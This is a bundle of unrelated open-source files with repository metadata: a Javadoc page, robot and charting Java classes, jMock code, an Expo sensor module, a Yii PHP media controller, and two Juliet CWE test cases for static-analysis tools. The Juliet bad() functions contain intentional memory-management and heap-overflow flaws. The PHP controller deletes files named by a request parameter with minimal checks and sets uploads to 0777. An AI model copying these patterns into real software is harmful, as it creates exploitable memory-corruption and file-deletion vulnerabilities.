hipi.container.Pair <P> <HR> <!-- ======= START OF BOTTOM NAVBAR ====== --> <A NAME="navbar_bottom"><!-- --></A> <A HREF="#skip-navbar_bottom" title="Skip navigation links"></A> <TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY=""> <TR> <TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A NAME="navbar_bottom_firstrow"><!-- --></A> <TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY=""> <TR ALIGN="center" VALIGN="top"> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-summary.html"><FONT CLASS="NavBarFont1"><B>Package</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../hipi/container/Pair.html" title="class in hipi.container"><FONT CLASS="NavBarFont1"><B>Class</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> &nbsp;<FONT CLASS="NavBarFont1Rev"><B>Use</B></FONT>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../package-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../index-files/index-1.html"><FONT CLASS="NavBarFont1"><B>Index</B></FONT></A>&nbsp;</TD> <TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../../../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A>&nbsp;</TD> </TR> </TABLE> </TD> <TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM> </EM> </TD> </TR> <TR> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> &nbsp;PREV&nbsp; &nbsp;NEXT</FONT></TD> <TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2"> <A HREF="../../../index.html?hipi/container//class-usePair.html" target="_top"><B>FRAMES</B></A> &nbsp; &nbsp;<A HREF="Pair.html" target="_top"><B>NO FRAMES</B></A> &nbsp; &nbsp;<SCRIPT type="text/javascript"> <!-- if(window==top) { document.writeln('<A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A>'); } //--> </SCRIPT> <NOSCRIPT> <A HREF="../../../allclasses-noframe.html"><B>All Classes</B></A> </NOSCRIPT> </FONT></TD> </TR> </TABLE> <A NAME="skip-navbar_bottom"></A> <!-- ======== END OF BOTTOM NAVBAR ======= --> <HR> </BODY> </HTML>
voigtlandier/hipi
doc/api/hipi/container/class-use/Pair.html
HTML
bsd-3-clause
5,635
package storm2013.commands; import storm2013.Robot; import storm2013.subsystems.Vision.Distance; import storm2013.utilities.StringPot; public class TiltForDistance extends StringPotTilt { private static double _targetFromDistance(Distance distance) { if(distance == Distance.NEAR) { return StringPot.VAL_NEAR; } else if(distance == Distance.CENTER) { return StringPot.VAL_CENTER; } else if(distance == Distance.OPPONENT_AUTO) { return StringPot.VAL_OPPAUTO; } else if(distance == Distance.FEEDER) { return StringPot.VAL_FEEDER; } return -1; } private Distance _distance; public TiltForDistance(double power,Distance distance) { super(power, _targetFromDistance(distance)); _distance = distance; } protected Distance _getDistance() { return _distance; } protected void _setDistance(Distance distance) { _distance = distance; _setTarget(_targetFromDistance(distance)); } protected void initialize() { super.initialize(); } protected boolean isFinished() { return Robot.oi.getTilterAxis() != 0 || super.isFinished(); } }
2729StormRobotics/Storm2013
src/storm2013/commands/TiltForDistance.java
Java
bsd-3-clause
1,231
/* Copyright (c) 2000-2004 jMock.org */ package org.jmock.core; import java.lang.reflect.Method; import java.util.Arrays; import java.util.Collections; import java.util.HashMap; import java.util.List; import java.util.Map; import org.jmock.util.Assert; /** * The static details about a method and the run-time details of its invocation. * @since 1.0 */ public class Invocation implements SelfDescribing { public final Object invokedObject; public final Method invokedMethod; public final List parameterValues; // Yuck, but there doesn't seem to be a better way. private static final Map BOX_TYPES = makeBoxTypesMap(); public Invocation( Object invoked, Method method, Object[] parameterValues ) { this.invokedObject = invoked; this.invokedMethod = method; this.parameterValues = parameterValues == null ? Collections.EMPTY_LIST : Collections.unmodifiableList(Arrays.asList(parameterValues)); } public String toString() { return describeTo(new StringBuffer()).toString(); } public boolean equals( Object other ) { return (other instanceof Invocation) && this.equals((Invocation)other); } public boolean equals( Invocation other ) { return other != null && invokedObject == other.invokedObject && invokedMethod.equals(other.invokedMethod) && parameterValues.equals(other.parameterValues); } public int hashCode() { return invokedObject.hashCode() ^ invokedMethod.hashCode() ^ parameterValues.hashCode(); } public StringBuffer describeTo( StringBuffer buffer ) { buffer.append(invokedObject.toString()).append(".").append(invokedMethod.getName()); Formatting.join(parameterValues, buffer, "(", ")"); return buffer; } public void checkReturnTypeCompatibility(final Object result) { Class returnType = invokedMethod.getReturnType(); if (returnType == void.class) { failIfReturnTypeIsNotNull(result); } else if (result == null) { failIfReturnTypeIsPrimitive(); } else { Class valueType = result.getClass(); if (!isCompatible(returnType, valueType)) { reportTypeError(returnType, valueType); } } } private boolean isCompatible( Class returnType, Class valueType ) { if (returnType.isPrimitive()) { return isBoxedType(returnType, valueType); } return returnType.isAssignableFrom(valueType); } private boolean isBoxedType( Class primitiveType, Class referenceType ) { return BOX_TYPES.get(primitiveType) == referenceType; } private void failIfReturnTypeIsNotNull(final Object result) { Assert.assertNull("tried to return a value from a void method", result); } private void failIfReturnTypeIsPrimitive() { Class returnType = invokedMethod.getReturnType(); Assert.assertFalse( "tried to return null value from method returning " + returnType.getName(), returnType.isPrimitive()); } private void reportTypeError( Class returnType, Class valueType ) { Assert.fail("tried to return an incompatible value: " + "expected a " + returnType.getName() + " but returned a " + valueType.getName()); } private static Map makeBoxTypesMap() { HashMap map = new HashMap(); map.put(boolean.class, Boolean.class); map.put(byte.class, Byte.class); map.put(char.class, Character.class); map.put(short.class, Short.class); map.put(int.class, Integer.class); map.put(long.class, Long.class); map.put(float.class, Float.class); map.put(double.class, Double.class); return map; } }
al3xandru/testng-jmock
core/src/org/jmock/core/Invocation.java
Java
bsd-3-clause
3,934
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package net.atomique.ksar.Solaris; import javax.swing.tree.DefaultMutableTreeNode; import net.atomique.ksar.AllGraph; import net.atomique.ksar.GraphDescription; import net.atomique.ksar.kSar; import net.atomique.ksar.kSarConfig; import org.jfree.chart.ChartFactory; import org.jfree.chart.JFreeChart; import org.jfree.chart.axis.DateAxis; import org.jfree.chart.plot.XYPlot; import org.jfree.chart.renderer.xy.XYLineAndShapeRenderer; import org.jfree.data.time.Second; import org.jfree.data.time.TimeSeries; import org.jfree.data.time.TimeSeriesCollection; /** * * @author alex */ public class swapingSar extends AllGraph { public swapingSar(final kSar hissar) { super(hissar); Title = "Swapping"; swpin = new TimeSeries("LWP in", org.jfree.data.time.Second.class); mysar.dispo.put("LWP swap in", swpin); bswin = new TimeSeries("pages in", org.jfree.data.time.Second.class); mysar.dispo.put("Swap page in", bswin); swpot = new TimeSeries("LWP out", org.jfree.data.time.Second.class); mysar.dispo.put("LWP swap out", swpot); bswot = new TimeSeries("pages out", org.jfree.data.time.Second.class); mysar.dispo.put("Swap page out", bswot); pswch = new TimeSeries("LWP switch", org.jfree.data.time.Second.class); mysar.dispo.put("LWP switch", pswch); // Collection ts_collection = new TimeSeriesCollection(); ts_collection.addSeries(this.swpin); ts_collection.addSeries(this.bswin); ts_collection.addSeries(this.swpot); ts_collection.addSeries(this.bswot); ts_collection.addSeries(this.pswch); } public void add(final Second now,final Float swpinInt,final Float bswinInt,final Float swpotInt,final Float bswotInt,final Float pswchInt) { swpin.add(now, swpinInt, do_notify()); bswin.add(now, bswinInt.floatValue() * 512, do_notify()); swpot.add(now, swpotInt, do_notify()); bswot.add(now, bswotInt.floatValue() * 512, do_notify()); pswch.add(now, pswchInt, do_notify()); number_of_sample++; } public void addtotree(final DefaultMutableTreeNode myroot) { mynode = new DefaultMutableTreeNode(new GraphDescription(this, "SOLARISSWAP", this.Title, null)); mysar.add2tree(myroot,mynode); } public JFreeChart makegraph(final Second g_start,final Second g_end) { mygraph = ChartFactory.createTimeSeriesChart(this.getGraphTitle(), "", "per second", ts_collection, true, true, false); setbackgroundimage(mygraph); XYPlot xyplot = (XYPlot) mygraph.getPlot(); XYLineAndShapeRenderer renderer = (XYLineAndShapeRenderer) xyplot.getRenderer(); renderer.setBaseStroke(kSarConfig.DEFAULT_STROKE); renderer.setSeriesPaint(0, kSarConfig.color1); renderer.setSeriesPaint(1, kSarConfig.color2); renderer.setSeriesPaint(2, kSarConfig.color3); renderer.setSeriesPaint(3, kSarConfig.color4); renderer.setSeriesPaint(4, kSarConfig.color5); if (g_start != null) { DateAxis dateaxis1 = (DateAxis) mygraph.getXYPlot().getDomainAxis(); dateaxis1.setRange(g_start.getStart(), g_end.getEnd()); } return mygraph; } private final TimeSeries swpin; private final TimeSeries bswin; private final TimeSeries swpot; private final TimeSeries bswot; private final TimeSeries pswch; private final TimeSeriesCollection ts_collection; }
czerwonk/ksar-fork
src/net/atomique/ksar/Solaris/swapingSar.java
Java
bsd-3-clause
3,615
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE762_Mismatched_Memory_Management_Routines__new_array_free_int_18.cpp Label Definition File: CWE762_Mismatched_Memory_Management_Routines__new_array_free.label.xml Template File: sources-sinks-18.tmpl.cpp */ /* * @description * CWE: 762 Mismatched Memory Management Routines * BadSource: Allocate data using new [] * GoodSource: Allocate data using malloc() * Sinks: * GoodSink: Deallocate data using delete [] * BadSink : Deallocate data using free() * Flow Variant: 18 Control flow: goto statements * */ #include "std_testcase.h" namespace CWE762_Mismatched_Memory_Management_Routines__new_array_free_int_18 { #ifndef OMITBAD void bad() { int * data; /* Initialize data*/ data = NULL; goto source; source: /* POTENTIAL FLAW: Allocate memory with a function that requires delete [] to free the memory */ data = new int[100]; goto sink; sink: /* POTENTIAL FLAW: Deallocate memory using free() - the source memory allocation function may * require a call to delete [] to deallocate the memory */ free(data); } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodB2G() - use badsource and goodsink by reversing the blocks on the second goto statement */ static void goodB2G() { int * data; /* Initialize data*/ data = NULL; goto source; source: /* POTENTIAL FLAW: Allocate memory with a function that requires delete [] to free the memory */ data = new int[100]; goto sink; sink: /* FIX: Deallocate the memory using delete [] */ delete [] data; } /* goodG2B() - use goodsource and badsink by reversing the blocks on the first goto statement */ static void goodG2B() { int * data; /* Initialize data*/ data = NULL; goto source; source: /* FIX: Allocate memory from the heap using malloc() */ data = (int *)malloc(100*sizeof(int)); if (data == NULL) {exit(-1);} goto sink; sink: /* POTENTIAL FLAW: Deallocate memory using free() - the source memory allocation function may * require a call to delete [] to deallocate the memory */ free(data); } void good() { goodB2G(); goodG2B(); } #endif /* OMITGOOD */ } /* close namespace */ /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE762_Mismatched_Memory_Management_Routines__new_array_free_int_18; /* so that we can use good and bad easily */ int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE762_Mismatched_Memory_Management_Routines/s05/CWE762_Mismatched_Memory_Management_Routines__new_array_free_int_18.cpp
C++
bsd-3-clause
3,136
<?php class MediaController extends ContainrController { public function actions() { return array( 'upload'=>array( 'class'=>'xupload.actions.XUploadAction', 'path' =>Yii::app() -> getBasePath() . "/../_lib/uploads", 'publicPath' => Yii::app() -> getBaseUrl() . "/_lib/uploads", ), ); } public function actionIndex() { Yii::import("xupload.models.XUploadForm"); $model = new XUploadForm; $this->breadcrumbs=array( ucfirst($this->id), ucfirst($this->action->id), ); $this->render('index', array('model' => $model)); } public function actionDelete() { ContainrMedia::model()->deleteByPK($_GET['id']); $this->redirect(Yii::app()->createUrl('containr/media/index')); } public function actionUpdate() { $this->breadcrumbs=array( ucfirst($this->id), ucfirst($this->action->id), ); $model = ContainrMedia::model()->findByPK($_GET['id']); // get advanced media information if(strpos($model->type,"image") !== false) { $image = new Image($_SERVER["DOCUMENT_ROOT"].$model->path.'/'.$model->filename); $model->imageWidth = $image->width; $model->imageHeight = $image->height; } if(isset($_GET['crop'])){ $ratio = (4/3); if($model->imageWidth > $model->imageHeight) { $newWidth = $model->imageHeight * $ratio; $image->crop($newWidth,$image->height); $image->save(); $this->redirect(Yii::app()->createUrl('containr/media/update',array('id'=>$_GET['id']))); } } if(isset($_GET['watermark'])){ // Set ratio $ratio = (4/3); // Dimension calculation if($image->width > $image->height || $image->width == $image->height) { // check if it's already in correct ratio if(($image->width / $image->height) <> $ratio){ $newHeight = $image->height * $ratio; $newWidth = $image->width; } else { $newWidth = $image->width; $newHeight = $image->height; } } elseif ($image->width < $image->height) { $newWidth = $image->width * $ratio; $newHeight = $image->height; } else { $newWidth = $image->width; $newHeight = $image->height; } // Color definition $color = array(255, 255, 255); // First watermark it $image->watermark('www.holz-objekte.org', 10); $image->save(); // Then add it to ratio layer $image->addlayer($color,$newWidth,$newHeight); $image->save(); $this->redirect(Yii::app()->createUrl('containr/media/update',array('id'=>$_GET['id']))); } $this->render('update', array('model' => $model)); } public function actionLibrary(){ $this->layout = 'mediamodal'; $this->render('library',array('hideSelector'=>'false')); } public function actionSelector(){ $this->layout = 'mediamodal'; $this->render('library', array('hideSelector'=>'true')); } public function actionLinker(){ $this->layout = 'mediamodal'; $this->render('linker'); } public function actionGetmedia() { Yii::import("application.modules.containr.extensions.GbImageHelper"); $size = (isset($_GET['msize'])) ? $_GET['msize'] : 'thumb'; $mId = $_GET['mid']; $src = ContainrMedia::model()->getMediaSrc($mId,$size); Yii::app()->controller->widget('application.modules.containr.extensions.GbImageHelper', array( 'imageId' => $mId, 'size' => $size, 'processOnly' => true )); $image = new Image($_SERVER['DOCUMENT_ROOT'].$src); $image->render(); } public function actionUpload(){ Yii::import( "xupload.models.XUploadForm" ); //Here we define the paths where the files will be stored temporarily $path = realpath( Yii::app( )->getBasePath( )."/../_lib/uploads" )."/"; $publicPath = Yii::app( )->getBaseUrl( )."/_lib/uploads/"; //This is for IE which doens't handle 'Content-type: application/json' correctly header( 'Vary: Accept' ); if( isset( $_SERVER['HTTP_ACCEPT'] ) && (strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) !== false) ) { header( 'Content-type: application/json' ); } else { header( 'Content-type: text/plain' ); } //Here we check if we are deleting and uploaded file if( isset( $_GET["_method"] ) ) { if( $_GET["_method"] == "delete" ) { if( $_GET["file"][0] !== '.' ) { $file = $path.$_GET["file"]; if( is_file( $file ) ) { unlink( $file ); } } echo json_encode( true ); } } else { $model = new XUploadForm; $model->file = CUploadedFile::getInstance( $model, 'file' ); //We check that the file was successfully uploaded if( $model->file !== null ) { //Grab some data $model->mime_type = $model->file->getType( ); $model->size = $model->file->getSize( ); $model->name = $model->file->getName( ); //(optional) Generate a random name for our file $filename = md5( Yii::app( )->user->id.microtime( ).$model->name); $filename .= ".".$model->file->getExtensionName( ); if( $model->validate( ) ) { //Move our file to our temporary dir $model->file->saveAs( $path.$filename ); chmod( $path.$filename, 0777 ); //here you can also generate the image versions you need //using something like PHPThumb //Now we need to save this path to the user's session if( Yii::app( )->user->hasState( 'images' ) ) { $userImages = Yii::app( )->user->getState( 'images' ); } else { $userImages = array(); } $userImages[] = array( "path" => $path.$filename, //the same file or a thumb version that you generated "thumb" => $path.$filename, "filename" => $filename, 'size' => $model->size, 'mime' => $model->mime_type, 'name' => $model->name, ); Yii::app( )->user->setState( 'images', $userImages ); //Now we need to tell our widget that the upload was succesfull //We do so, using the json structure defined in // https://github.com/blueimp/jQuery-File-Upload/wiki/Setup echo json_encode( array( array( "name" => $model->name, "type" => $model->mime_type, "size" => $model->size, "url" => $publicPath.$filename, "thumbnail_url" => $publicPath."thumbs/$filename", "delete_url" => $this->createUrl( "upload", array( "_method" => "delete", "file" => $filename ) ), "delete_type" => "POST" ) ) ); } else { //If the upload failed for some reason we log some data and let the widget know echo json_encode( array( array( "error" => $model->getErrors( 'file' ), ) ) ); Yii::log( "XUploadAction: ".CVarDumper::dumpAsString( $model->getErrors( ) ), CLogger::LEVEL_ERROR, "xupload.actions.XUploadAction" ); } } else { throw new CHttpException( 500, "Could not upload file" ); } } } public function actionUploadlib(){ Yii::import( "xupload.models.XUploadForm" ); //Here we define the paths where the files will be stored temporarily $path = realpath( Yii::app( )->getBasePath( )."/../_lib/uploads" )."/"; $publicPath = Yii::app( )->getBaseUrl( )."/_lib/uploads/"; //This is for IE which doens't handle 'Content-type: application/json' correctly header( 'Vary: Accept' ); if( isset( $_SERVER['HTTP_ACCEPT'] ) && (strpos( $_SERVER['HTTP_ACCEPT'], 'application/json' ) !== false) ) { header( 'Content-type: application/json' ); } else { header( 'Content-type: text/plain' ); } //Here we check if we are deleting and uploaded file if( isset( $_GET["_method"] ) ) { if( $_GET["_method"] == "delete" ) { if( $_GET["file"][0] !== '.' ) { $file = $path.$_GET["file"]; if( is_file( $file ) ) { unlink( $file ); } } echo json_encode( true ); } } else { $model = new XUploadForm; $model->file = CUploadedFile::getInstance( $model, 'file' ); //We check that the file was successfully uploaded if( $model->file !== null ) { //Grab some data $model->mime_type = $model->file->getType( ); $model->size = $model->file->getSize( ); $model->name = $model->file->getName( ); //(optional) Generate a random name for our file $filename = md5( Yii::app( )->user->id.microtime( ).$model->name); $filename .= ".".$model->file->getExtensionName( ); if( $model->validate( ) ) { //Move our file to our temporary dir $model->file->saveAs( $path.$filename ); chmod( $path.$filename, 0777 ); //Resolve the final path for our images $pathFinal = str_replace("/protected","",$path.strftime("%d%m%y",time())."/"); //Create the folder and give permissions if it doesnt exists if( !is_dir( $pathFinal ) ) { mkdir( $pathFinal ); chmod( $pathFinal, 0777 ); } // move the file if( rename( $path.$filename, $pathFinal.$filename ) ) { chmod( $pathFinal.$filename, 0777 ); $cntMedia = new ContainrMedia(); $cntMedia->filename =$filename; $cntMedia->description = $model->name; $cntMedia->path = str_replace(str_replace("/protected","",Yii::app( )->getBasePath( )),"",$pathFinal); $cntMedia->type = $model->mime_type; $cntMedia->save(); } //Now we need to tell our widget that the upload was succesfull //We do so, using the json structure defined in // https://github.com/blueimp/jQuery-File-Upload/wiki/Setup echo json_encode( array( array( "name" => $model->name, "type" => $model->mime_type, "size" => $model->size, "url" => $publicPath.$filename, //"thumbnail_url" => $publicPath."thumbs/$filename", "delete_url" => $this->createUrl( "upload", array( "_method" => "delete", "file" => $filename ) ), "delete_type" => "POST" ) ) ); } else { //If the upload failed for some reason we log some data and let the widget know echo json_encode( array( array( "error" => $model->getErrors( 'file' ), ) ) ); Yii::log( "XUploadAction: ".CVarDumper::dumpAsString( $model->getErrors( ) ), CLogger::LEVEL_ERROR, "xupload.actions.XUploadAction" ); } } else { throw new CHttpException( 500, "Could not upload file" ); } } } }
giantbits/conTainr
protected/modules/containr/controllers/MediaController.php
PHP
bsd-3-clause
11,889
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_ncat_16.c Label Definition File: CWE122_Heap_Based_Buffer_Overflow__c_CWE806.label.xml Template File: sources-sink-16.tmpl.c */ /* * @description * CWE: 122 Heap Based Buffer Overflow * BadSource: Initialize data as a large string * GoodSource: Initialize data as a small string * Sink: ncat * BadSink : Copy data to string using wcsncat * Flow Variant: 16 Control flow: while(1) * * */ #include "std_testcase.h" #include <wchar.h> #ifndef OMITBAD void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_ncat_16_bad() { wchar_t * data; data = (wchar_t *)malloc(100*sizeof(wchar_t)); if (data == NULL) {exit(-1);} while(1) { /* FLAW: Initialize data as a large buffer that is larger than the small buffer used in the sink */ wmemset(data, L'A', 100-1); /* fill with L'A's */ data[100-1] = L'\0'; /* null terminate */ break; } { wchar_t dest[50] = L""; /* POTENTIAL FLAW: Possible buffer overflow if data is larger than sizeof(dest)-wcslen(dest)*/ wcsncat(dest, data, wcslen(data)); dest[50-1] = L'\0'; /* Ensure the destination buffer is null terminated */ printWLine(data); free(data); } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodG2B() - use goodsource and badsink by changing the conditions on the while statements */ static void goodG2B() { wchar_t * data; data = (wchar_t *)malloc(100*sizeof(wchar_t)); if (data == NULL) {exit(-1);} while(1) { /* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */ wmemset(data, L'A', 50-1); /* fill with L'A's */ data[50-1] = L'\0'; /* null terminate */ break; } { wchar_t dest[50] = L""; /* POTENTIAL FLAW: Possible buffer overflow if data is larger than sizeof(dest)-wcslen(dest)*/ wcsncat(dest, data, wcslen(data)); dest[50-1] = L'\0'; /* Ensure the destination buffer is null terminated */ printWLine(data); free(data); } } void CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_ncat_16_good() { goodG2B(); } #endif /* OMITGOOD */ /* Below is the main(). It is only used when building this testcase on * its own for testing or for building a binary to use in testing binary * analysis tools. It is not used when compiling all the testcases as one * application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_ncat_16_good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_ncat_16_bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE122_Heap_Based_Buffer_Overflow/s10/CWE122_Heap_Based_Buffer_Overflow__c_CWE806_wchar_t_ncat_16.c
C
bsd-3-clause
3,175
// Copyright 2015-present 650 Industries. All rights reserved. #import <ABI39_0_0UMCore/ABI39_0_0UMModuleRegistry.h> #import <ABI39_0_0UMCore/ABI39_0_0UMAppLifecycleListener.h> #import <ABI39_0_0UMCore/ABI39_0_0UMEventEmitterService.h> #import <ABI39_0_0UMCore/ABI39_0_0UMAppLifecycleService.h> #import <ABI39_0_0EXSensors/ABI39_0_0EXBaseSensorModule.h> @interface ABI39_0_0EXBaseSensorModule () <ABI39_0_0UMAppLifecycleListener> @property (nonatomic, weak) id sensorManager; @property (nonatomic, weak) id<ABI39_0_0UMEventEmitterService> eventEmitter; @property (nonatomic, weak) id<ABI39_0_0UMAppLifecycleService> lifecycleManager; @property (nonatomic, weak) ABI39_0_0UMModuleRegistry *moduleRegistry; @property (nonatomic, assign, getter=isWatching) BOOL watching; @end @implementation ABI39_0_0EXBaseSensorModule # pragma mark - ABI39_0_0EXBaseSensorModule - (id)getSensorServiceFromModuleRegistry:(ABI39_0_0UMModuleRegistry *)moduleRegistry { NSAssert(false, @"You've subclassed ABI39_0_0EXBaseSensorModule, but didn't override the `getSensorServiceFromModuleRegistry` method."); return nil; } - (void)setUpdateInterval:(double)updateInterval onSensorService:(id)sensorService { NSAssert(false, @"You've subclassed ABI39_0_0EXBaseSensorModule, but didn't override the `setUpdateInterval:onSensorService:` method."); } - (BOOL)isAvailable:(id)sensorService { NSAssert(false, @"You've subclassed ABI39_0_0EXBaseSensorModule, but didn't override the `isAvailable` method."); return NO; } - (void)subscribeToSensorService:(id)sensorService withHandler:(void (^)(NSDictionary *event))handlerBlock { NSAssert(false, @"You've subclassed ABI39_0_0EXBaseSensorModule, but didn't override the `subscribeToSensorService:withHandler:` method."); } - (void)unsubscribeFromSensorService:(id)sensorService { NSAssert(false, @"You've subclassed ABI39_0_0EXBaseSensorModule, but didn't override the `unsubscribeFromSensorService:` method."); } - (const NSString *)updateEventName { NSAssert(false, @"You've subclassed ABI39_0_0EXBaseSensorModule, but didn't override the `updateEventName` method."); return nil; } # pragma mark - ABI39_0_0UMModuleRegistryConsumer - (void)setModuleRegistry:(ABI39_0_0UMModuleRegistry *)moduleRegistry { if (_moduleRegistry) { [_lifecycleManager unregisterAppLifecycleListener:self]; } _lifecycleManager = nil; _eventEmitter = nil; [self stopObserving]; _sensorManager = nil; if (moduleRegistry) { _eventEmitter = [moduleRegistry getModuleImplementingProtocol:@protocol(ABI39_0_0UMEventEmitterService)]; _lifecycleManager = [moduleRegistry getModuleImplementingProtocol:@protocol(ABI39_0_0UMAppLifecycleService)]; _sensorManager = [self getSensorServiceFromModuleRegistry:moduleRegistry]; } if (_lifecycleManager) { [_lifecycleManager registerAppLifecycleListener:self]; } } # pragma mark - ABI39_0_0UMEventEmitter - (NSArray<NSString *> *)supportedEvents { return @[(NSString *)[self updateEventName]]; } - (void)startObserving { [self setWatching:YES]; __weak ABI39_0_0EXBaseSensorModule *weakSelf = self; [self subscribeToSensorService:_sensorManager withHandler:^(NSDictionary *event) { __strong ABI39_0_0EXBaseSensorModule *strongSelf = weakSelf; if (strongSelf) { __strong id<ABI39_0_0UMEventEmitterService> eventEmitter = strongSelf.eventEmitter; if (eventEmitter) { [eventEmitter sendEventWithName:(NSString *)[strongSelf updateEventName] body:event]; } } }]; } - (void)stopObserving { [self setWatching:NO]; [self unsubscribeFromSensorService:_sensorManager]; } ABI39_0_0UM_EXPORT_METHOD_AS(setUpdateInterval, setUpdateInterval:(nonnull NSNumber *)intervalMs resolve:(ABI39_0_0UMPromiseResolveBlock)resolve reject:(ABI39_0_0UMPromiseRejectBlock)rejecter) { [self setUpdateInterval:([intervalMs doubleValue] / 1000) onSensorService:_sensorManager]; resolve(nil); } ABI39_0_0UM_EXPORT_METHOD_AS(isAvailableAsync, isAvailableAsync:(ABI39_0_0UMPromiseResolveBlock)resolve rejecter:(ABI39_0_0UMPromiseRejectBlock)reject) { resolve(@([self isAvailable:_sensorManager])); } # pragma mark - ABI39_0_0UMAppLifecycleListener - (void)onAppBackgrounded { if ([self isWatching]) { [self unsubscribeFromSensorService:_sensorManager]; } } - (void)onAppForegrounded { if ([self isWatching]) { [self startObserving]; } } @end
exponent/exponent
ios/versioned-react-native/ABI39_0_0/Expo/EXSensors/ABI39_0_0EXSensors/Modules/SensorModules/ABI39_0_0EXBaseSensorModule.m
Matlab
bsd-3-clause
4,405
package com.ralitski.util.render.img; import java.io.DataInputStream; import java.io.DataOutputStream; import java.io.IOException; import com.ralitski.util.io.Streamable; public class Color implements Streamable, Cloneable { public static final Color WHITE = new Color(ColorHelper.WHITE); public static final Color GRAY = new Color(ColorHelper.GRAY); public static final Color BLACK = new Color(ColorHelper.BLACK); public static final Color RED = new Color(ColorHelper.RED); public static final Color GREEN = new Color(ColorHelper.GREEN); public static final Color BLUE = new Color(ColorHelper.BLUE); public static final Color YELLOW = new Color(ColorHelper.YELLOW); public static final Color CYAN = new Color(ColorHelper.CYAN); public static final Color MAGENTA = new Color(ColorHelper.MAGENTA); private int r, g, b, a; public Color(String s) { this(s.length() == 8 ? ColorHelper.fromHex(s) : (ColorHelper.fromHex(s) | 0xFF000000)); } public Color(int i) { int[] c = ColorHelper.fromCompressed(i); this.a = c[0]; this.r = c[1]; this.g = c[2]; this.b = c[3]; } public Color(int i, int j, int k, int l) { this.r = i; this.g = j; this.b = k; this.a = l; } public Color(float i, float j, float k, float l) { this((int) (i * 255F), (int) (j * 255F), (int) (k * 255F), (int) (l * 255F)); } public Color(int i, int j, int k) { this.r = i; this.g = j; this.b = k; this.a = 255; } public Color(float i, float j, float k) { this((int) (i * 255F), (int) (j * 255F), (int) (k * 255F)); } //DATA public int getRed() { return this.r; } public float getRedFloat() { return (float)r / 255F; } public void setRed(int b) { this.r = b; } public int getGreen() { return this.g; } public float getGreenFloat() { return (float)g / 255F; } public void setGreen(int b) { this.g = b; } public int getBlue() { return this.b; } public float getBlueFloat() { return (float)b / 255F; } public void setBlue(int b) { this.b = b; } public int getAlpha() { return this.a; } public float getAlphaFloat() { return (float)a / 255F; } public void setAlpha(int b) { this.a = b; } public int getCompressed() { return ColorHelper.toCompressed(a, r, g, b); } public java.awt.Color jColor() { return new java.awt.Color(r, g, b, a); } public void glColor() { //redirect to allow this Color class to be used without opengl imports GLImageHelper.glColor(this); } //MANIPULATION public void invert() { this.r = (255 - this.r); this.g = (255 - this.g); this.b = (255 - this.b); } public Color inverse() { return new Color((255 - this.r), (255 - this.g), (255 - this.b)); } public void equalize() { int c = this.r + this.g + this.b; c /= 3; this.r = this.g = this.b = c; } public Color darker(int dark) { return new Color(r - dark, g - dark, b - dark, a); } //COMPARISON public static boolean compare(Color c, Color c1) { boolean r = c.r == c1.r; boolean g = c.g == c1.g; boolean b = c.b == c1.b; boolean a = c.a == c1.a; return r && g && b && a; } public static int difference(Color c, Color c1) { int r = c.r - c1.r; int g = c.g - c1.g; int b = c.b - c1.b; int a = c.a - c1.a; r = Math.abs(r); g = Math.abs(g); b = Math.abs(b); a = Math.abs(a); return r + g + b + a; } public String toString() { return "#" + ColorHelper.toHex(r, g, b, a); } public Color clone() { return new Color(r, g, b, a); } @Override public void write(DataOutputStream out) throws IOException { 